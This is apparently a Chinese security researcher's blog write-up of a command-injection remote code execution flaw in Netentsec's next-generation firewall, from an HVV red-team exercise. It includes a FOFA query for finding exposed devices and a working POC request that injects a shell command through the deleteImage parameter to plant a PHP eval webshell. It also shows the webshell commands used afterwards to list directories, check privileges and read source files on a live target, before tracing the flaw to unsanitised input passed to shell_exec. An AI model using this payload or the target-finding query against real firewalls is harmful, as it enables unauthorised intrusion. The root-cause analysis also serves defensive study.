网康下一代防火墙(NGFW)是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙。凭借超强的应用识别能力,下一代防火墙可深入洞察网络流量中的用户、应用和内容,借助全新的高性能单路径异构并行处理引擎,在互联网出口、数据中心边界、应用服务前端等场景提供高效的应用层一体化安全防护,帮助用户安全地开展业务并降低安全成本。
这个洞是今年hvv期间爆出来的,危害很高,因此甲方baba要求我做一下分析的工作,好家伙,开局一个漏洞名称,报告内容全靠编,安排。
在网上找一条POC,开始怼,我尝试用该POC写入一句话连接蚁剑,但不知道是不是有段时间没用我的剑生锈了,死活连不上去,所幸写入一句话能执行命令,证明了漏洞真实存在以及POC有效,我只能在burp上纯命令的形式去审计跟踪代码(后来才反应过来为啥不反弹shell嘞)
fofa : app="网康科技-下一代防火墙"
发送下面的POC即可在目标的/var/www/html/目录下创建名为test.php的文件,完事以后蚁剑直接去连即可(其余骚操作,大佬们安排起来)。
POST /directdata/direct/router HTTP/1.1 Host: X.X.X.X { "action": "SSLVPN_Resource", "method": "deleteImage", "data":[{ "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"] }], "type": "rpc", "tid": 17 }
解释一下上面的POC,主要是如下部分:
"data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
单看POC长这样我们大致就能猜出这是一个命令注入导致的RCE了。
这个系统因为大部分站点的建构都是linux➕php➕Apache,是我最擅长的,因此直接上burp开始代码审计(主要是蚁剑死活连不上去,我只能苦逼的一遍遍的手敲命令)
首先看当前的路径以及目录下的文件:
POST /test.php HTTP/1.1 a=system('pwd');
返回:
HTTP/1.1 200 OK /var/www/html
之后还有用ls、id、whoami等命令,就不一一列举,下面仅列出执行结果:
ls执行结果: 13bnKkNct.php CNVD20210413.txt P385Egd9Pe.php Reset_p2p_im.php RgQtlhQQS.php SqjHiRunF.php applications backup certs config css d18a2709431135f41eab9828d90c4bb6.html download dr4xVfDGs.php e130U453zx.php favicon.ico flag help images index.php js language libs m5KnfOOE42.php o9isu852j.txt p release scripts sslvpnindex successgoto test.php timetask tmp ukey yanbuguohengyang.txt id执行结果: uid=48(apache) gid=48(apache) groups=48(apache) whoami执行结果: apache
OK,总结一句话,权限不高,但审计够了,继续....
接下来看看web根目录下哪个最有可能是controller文件夹或代码逻辑处理模块文件夹,其中applications文件夹很可疑,进去看一下:
POST /test.php HTTP/1.1 a=system('cd applications;ls');
服务器返回:
Models acc common dashboard directdata help log monitor network policy report sslvpn statistics syscustom system user usercenter
可以看到上面的目录中包含了POC路径中的directdata文件夹,很可疑,跟下去:
POST /test.php HTTP/1.1 a=system('cd applications/directdata;ls');
服务器返回:
很好,看到controllers这个文件夹,基本就稳了。
继续跟:
POST /test.php HTTP/1.1 a=system('cd applications/directdata/controllers;ls');
服务器返回:
直接读这个文件:
POST /test.php HTTP/1.1 a=system('cat applications/directdata/controllers/DirectController.php');
文件内容如下:
<?php require_once BASE_PATH.'/applications/Models/Ext/Direct.php'; class Directdata_DirectController extends Zend_Controller_Action { function routerAction() { header("Content-Type: application/json"); $this->_helper->viewRenderer->setNoRender(); $this->getResponse()->setBody(json_encode( Ext_Direct::run($this->getRequest()) )); } }
结合POC中的/directdata/direct/router
,大致能够猜测出这套web系统的路由,directdata
代表目录,direct
代表文件名,应该是利用字符串拼接的形式实现的路径动态生成(没细看其他代码),
看代码:
$this->getResponse()->setBody(json_encode( Ext_Direct::run($this->getRequest())
调用了Ext_Direct::run
函数去处理用户输入,搜索Ext_Direct
类:
POST /test.php HTTP/1.1 a=system('find . -name "*.php"|xargs grep "class Ext_Direct"');
返回结果:
HTTP/1.1 200 OK ./applications/Models/Ext/Direct/RPCResult.php:class Ext_Direct_RPCResult { ./applications/Models/Ext/Direct/Controller.php:abstract class Ext_Direct_Controller extends Zend_Controller_Action { ./applications/Models/Ext/Direct/EventResult.php:class Ext_Direct_EventResult { ./applications/Models/Ext/Direct/ExceptionResult.php:class Ext_Direct_ExceptionResult { ./applications/Models/Ext/Direct/Request.php:class Ext_Direct_Request { ./applications/Models/Ext/Direct.php:class Ext_Direct { ./applications/Models/Ext/DirectException.php:class Ext_DirectException extends Exception {
排除一下就知道应该是:
./applications/Models/Ext/Direct.php:class Ext_Direct {
跟进该文件:
POST /test.php HTTP/1.1 a=system('cat applications/Models/Ext/Direct.php');
返回:
<?php class Ext_Direct { const REMOTING = 'remoting'; const URL = '/directdata/direct/router'; const enableBuffer = 10; public static function describe($classes) { if (!is_array($classes)) { $classes = array($classes); } $ret = array(); foreach ($classes as $class) { if (!class_exists($class)) throw new Exception('class not found ' . $class); $reflection = new ReflectionClass($class); $methods = $reflection->getMethods(); $methodData = array(); foreach ($methods as $m) if ($m->isPublic() && !$m->isStatic()) $methodData[] = array( 'name' => $m->getName(), 'len' => $m->getNumberOfParameters() ); $ret[] = array( 'timeout' => $reflection->hasConstant('timeout')?$reflection->getConstant('timeout') : 1800000, // half an hour 'url' => self::URL, 'type' => self::REMOTING, 'enableBuffer' => $reflection->hasConstant('enableBuffer')?$reflection->getConstant('enableBuffer') : self::enableBuffer, 'actions' => array($class => $methodData) ); } return $ret; } public static function run($request) { $extRequest = Ext_Direct_Request::factory($request); if (!$extRequest) throw new Exception('illegal parameters'); if (!is_array($extRequest)) $extRequest = array($extRequest); $ret = array(); $daos = array(); foreach ($extRequest as $r) { $c = $r->getAction(); if (!$c) throw new Exception('class not found'); if (!isset($daos[$c])) $daos[$c] = new $c(); $dao = $daos[$c]; // $argtest = $r->getArguments(); // $testInfo = $r->getMethod().'->'.$argtest[0]->type; // $startTime = micsecond(); // Ns_debug_log($dao,'x5.log',false); if (!method_exists($dao, $r->getMethod())) throw new Exception('method not found'); try { if ($request->getParam('extDirectException')) throw new Ext_DirectException($request->extDirectException); $ret[] = new Ext_Direct_RPCResult( $r->getTID(), $r->getAction(), $r->getMethod(), call_user_func_array( array($dao, $r->getMethod()), $r->getArguments() ) ); } catch (Ext_DirectException $e) { $ret[] = new Ext_Direct_ExceptionResult( $r->getTID(), $r->getAction(), $r->getMethod(), $e->getMessage() ); } catch (Exception $e) { $ret[] = new Ext_Direct_ExceptionResult( $r->getTID(), $r->getAction(), $r->getMethod(), $e->getMessage() ); } // Ns_debug_log((micsecond()-$startTime).date('Y-m-d H:i:s').','.$c.','.$testInfo.','.getenv('REMOTE_ADDR'),'fast.log',false); } return $ret; } }
排除掉多余的干扰因素,直接找run方法:
<?php .... .... public static function run($request) { // 解析用户输入 $extRequest = Ext_Direct_Request::factory($request); if (!$extRequest) throw new Exception('illegal parameters'); if (!is_array($extRequest)) $extRequest = array($extRequest); $ret = array(); $daos = array(); foreach ($extRequest as $r) { $c = $r->getAction(); if (!$c) throw new Exception('class not found'); if (!isset($daos[$c])) $daos[$c] = new $c(); $dao = $daos[$c]; // $argtest = $r->getArguments(); // $testInfo = $r->getMethod().'->'.$argtest[0]->type; // $startTime = micsecond(); // Ns_debug_log($dao,'x5.log',false); // 简单检查以下接下来要用的变量是否存在 if (!method_exists($dao, $r->getMethod())) throw new Exception('method not found'); try { if ($request->getParam('extDirectException')) throw new Ext_DirectException($request->extDirectException); $ret[] = new Ext_Direct_RPCResult( $r->getTID(), $r->getAction(), $r->getMethod(), // call_user_func_array函数对用户可控函数及参数值进行直接运行 call_user_func_array( array($dao, $r->getMethod()), $r->getArguments() ) ); } .... .... ?>
回顾一下POC:
{ "action": "SSLVPN_Resource", "method": "deleteImage", "data":[{ "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"] }], "type": "rpc", "tid": 17 }
结合之前对路由的分析,可以大致推断出action代表类名,method代表方法名,data则是方法是参数,接下来需要搜索SSLVPN_Resource
类的deleteImage
方法:
POST /test.php HTTP/1.1 a=system('find . -name "*.php"|xargs grep "class SSLVPN_Resource "');
返回:
HTTP/1.1 200 OK ./applications/Models/SSLVPN/Resource.php:class SSLVPN_Resource extends ConfigCommon_Abstract {
跟进去:
POST /test.php HTTP/1.1 a=system('cat applications/Models/SSLVPN/Resource.php');
返回内容过长,下面就截取关键的一小段代码,直接搜deleteImage
方法:
<?php ... ... public function deleteImage($params){ $basePath = '/var/www/html/'; $imgPath = $this->imagePath; $params = $params->data; $cmd = "cd $imgPath \n /bin/rm -rf "; $existDefault=false; foreach ($params as $img){ if($img=='default.png'){ $existDefault=true; }else{ $cmd.=$img.' '; } } Ns_debug_log($cmd,'x.log'); shell_exec($cmd); ... ... ?>
可以看到,直接从参数$params
中取出data
部分,与$cmd
参数拼接,然后直接带入了shell_exec($cmd);
执行,期间没有做任何安全过滤,因此当用户输入中使用分号即可分隔命令完成命令注入从而远程命令执行。
分析完毕,报告拿给甲方baba看,甲方baba很满意,摸摸我的头,说晚饭加鸡腿。